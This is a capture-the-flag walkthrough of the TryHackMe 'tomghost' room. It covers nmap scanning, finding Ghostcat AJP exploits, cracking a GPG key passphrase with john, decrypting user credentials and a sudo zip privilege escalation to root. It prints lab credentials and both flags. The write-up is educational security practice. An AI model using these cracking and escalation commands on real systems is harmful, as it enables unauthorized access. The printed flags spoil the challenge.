TryHackMe - tomghost
8009 being open and reporting as ajp almost certainly means that's the way to go (plus, come on, read the title of the CTF).
Scan
As always, we start by scanning open ports. -sV
for version info, -sC
default scripts, --open
to list only those ports reported as open, -Pn
skip the ICMP ping.
$ nmap -sV -sC --open -Pn 10.10.193.203
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 00:52 EDT
Nmap scan report for 10.10.193.203
Host is up (0.28s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ghostcat vuln
8009
being open and reporting as ajp
almost certainly means that's the way to go (plus, come on, read the title of the CTF).
$ searchsploit ghostcat
------------------------------------------------------------------ --------------------------------
Exploit Title | Path
------------------------------------------------------------------ --------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit) | multiple/webapps/49039.rb
------------------------------------------------------------------ --------------------------------
Shellcodes: No Results
find what looks like credentials in the WEB-INF/web.xml
file.
skyfuck:8730281lkjlkjdqlksalks
key. In order to use it, presumably on the credentials.pgp file, we'll need to get the password protecting it.
Crack gpg password
First we copy the file to our attacker machine for cracking with john the ripper.
$ scp skyfuck@10.10.253.114:tryhackme.asc .
skyfuck@10.10.253.114's password:
tryhackme.asc
┌──(kali㉿kali)-[~/ctf/tryhackme/tomghost]
└─$ gpg2john tryhackme.asc > tryhackme.john
File tryhackme.asc
┌──(kali㉿kali)-[~/ctf/tryhackme/tomghost]
└─$ john -wordlist:/usr/share/wordlists/rockyou.txt tryhackme.johnCommand 'wordlist' not found, did you mean:
command 'wordlists' from deb wordlists
Try:john -wordlist:/usr/share/wordlists/rockyou.txt tryhackme.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2022-07-24 01:45) 6.250g/s 6700p/s 6700c/s 6700C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Decrypt credentials
And then we use that private key and the password john found to get the next user's credentials.
skyfuck@ubuntu:~$ gpg --import < tryhackme.asc
gpg: directory `/home/skyfuck/.gnupg' created
gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
gpg: key C6707170: secret key imported
gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
skyfuck@ubuntu:~$ gpg credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
skyfuck@ubuntu:~$ cat credential
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
Merlin
This user has the first flag in user.txt
and the .sudo_as_admin_successful
file gives us a possible hint on privilege escalation.
skyfuck@ubuntu:~$ su merlin
Password:
merlin@ubuntu:/home/skyfuck$ cd
merlin@ubuntu:~$ la
.bash_history .bash_logout .bashrc .cache .nano .profile .sudo_as_admin_successful user.txt
merlin@ubuntu:~$ cat user.txt
THM{GhostCat_1s_so_cr4sy}
Priv esc
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
So this user can execute sudo zip
which might have a couple of different ways to escalate. When I'm not sure, I like to check out GTFOBins. That gives us an example of the -T
option which tests the integrity of a zip file and -TT
which executes an alternative program specified by the caller to do so.
-T
--test
Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with the -m opti
on) no input files are re‐
moved.
-TT cmd
--unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current di‐
rectory instead of the standard system unzip, could use:
zip archive file1 file2 -T -TT "./unzip -tqq"
In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The
return code is checked for success (0 on Unix).
Since we're executing zip with admin privileges, that can get us a root shell:
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
THM{Z1P_1S_FAKE}